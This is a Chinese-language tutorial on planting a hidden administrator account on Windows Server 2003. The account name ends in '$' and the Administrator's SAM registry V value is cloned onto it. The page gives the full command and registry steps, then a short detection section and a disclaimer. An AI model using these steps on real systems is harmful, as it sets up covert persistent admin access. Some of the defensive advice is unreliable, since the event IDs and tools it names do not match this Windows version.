萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 作業系統 >  >> Windows Server 2003 教學

Windows Server 2003 建立隱藏管理員帳戶:SAM 註冊表直接操作進階技術

在滲透測試、紅隊演練或應急響應取證場景中,理解 Windows Server 2003 如何透過直接操作 SAM 註冊表建立隱藏管理員帳戶(以 $ 結尾隱藏自 net user 列表),是掌握 Windows 認證機制的關鍵技能。本文記錄技術原理與操作流程,僅供授權環境教學/防禦研究使用。

技術原理

  • Windows 使用者帳戶資訊儲存於 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 及 Names 子鍵。
  • 帳號名稱以 $ 結尾(如 hiddenadmin$),net user 默認不顯示,但系統內部仍可正常驗證。
  • 需將目標帳戶的 V 值(屬性位元組)複製自 Administrator (RID 500, 0x1F4),賦予同等權限屬性。
  • 操作需繞過 SAM 鍵值預設 ACL,授予當前使用者「完全控制」權限。

操作流程(需 SYSTEM/Administrator 權限)

  1. 建立一般帳號作為基礎:
    net user hiddenadmin$ P@ssw0rd /add
  2. 執行 regedt32.exe(非 regedit.exe,需支援 SAM 安全性編輯)。
  3. 定位 HKEY_LOCAL_MACHINE\SAM\SAM → 右鍵「權限」 → 新增當前登入帳號 → 勾選「完全控制」→ 確定。
  4. 執行 regedit.exe,導出以下三個分支備份/分析:
    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\hiddenadmin$ → hiddenadmin$.reg
    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F1 (RID 對應值) → 3f1.reg
    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 (Administrator RID 500) → 1f4.reg
  5. 用記事本開啟 1f4.reg,複製 "V" 值完整十六進位資料(含 hex: 前綴與換行續行符)。
  6. 開啟 3f1.reg,刪除原 "V" 行,貼上步驟 5 複製的 Administrator "V" 值。
  7. 開啟 hiddenadmin$.reg,複製其預設值行(如 @=hex(3f1):)。
  8. 將步驟 7 內容貼至 3f1.reg 檔案末尾。
  9. 雙擊合併修改後的 3f1.reg 寫入登錄。
  10. 重啟或登出/登入,hiddenadmin$ 擁有 Administrator 等效權限,且 net user 不列出。

防禦偵測與緩解

  • 稽核 SAM 存取:啟用「稽核物件存取」→ 設定 SAM 鍵值 SACL,記錄寫入事件 (Event ID 4660/4663)。
  • 監控隱藏帳號特徵:定期腳本掃描 net user 輸出與註冊表 Names 子鍵對比,發現以 $ 結尾且 RID > 1000 的帳號即告警。
  • 限制 regedt32/regedit 執行:AppLocker/SRP 限制非管理員執行登錄編輯器。
  • 最小權限原則:日常運維使用標準帳號,僅在必要時提權(UAC/RunAs)。
  • LAPS (Local Administrator Password Solution):部署微軟 LAPS 管理本地管理員密碼,定期輪換、集中存儲,消除固定/共享密碼風險。

法律聲明: 未經授權建立隱藏帳號、竄改 SAM 屬非法入侵行為。本文旨在協助防禦者理解攻擊技術、建立偵測規則、強化系統配置。實務演練請在隔離授權環境進行。

copyright © 萬盛學電腦網 all rights reserved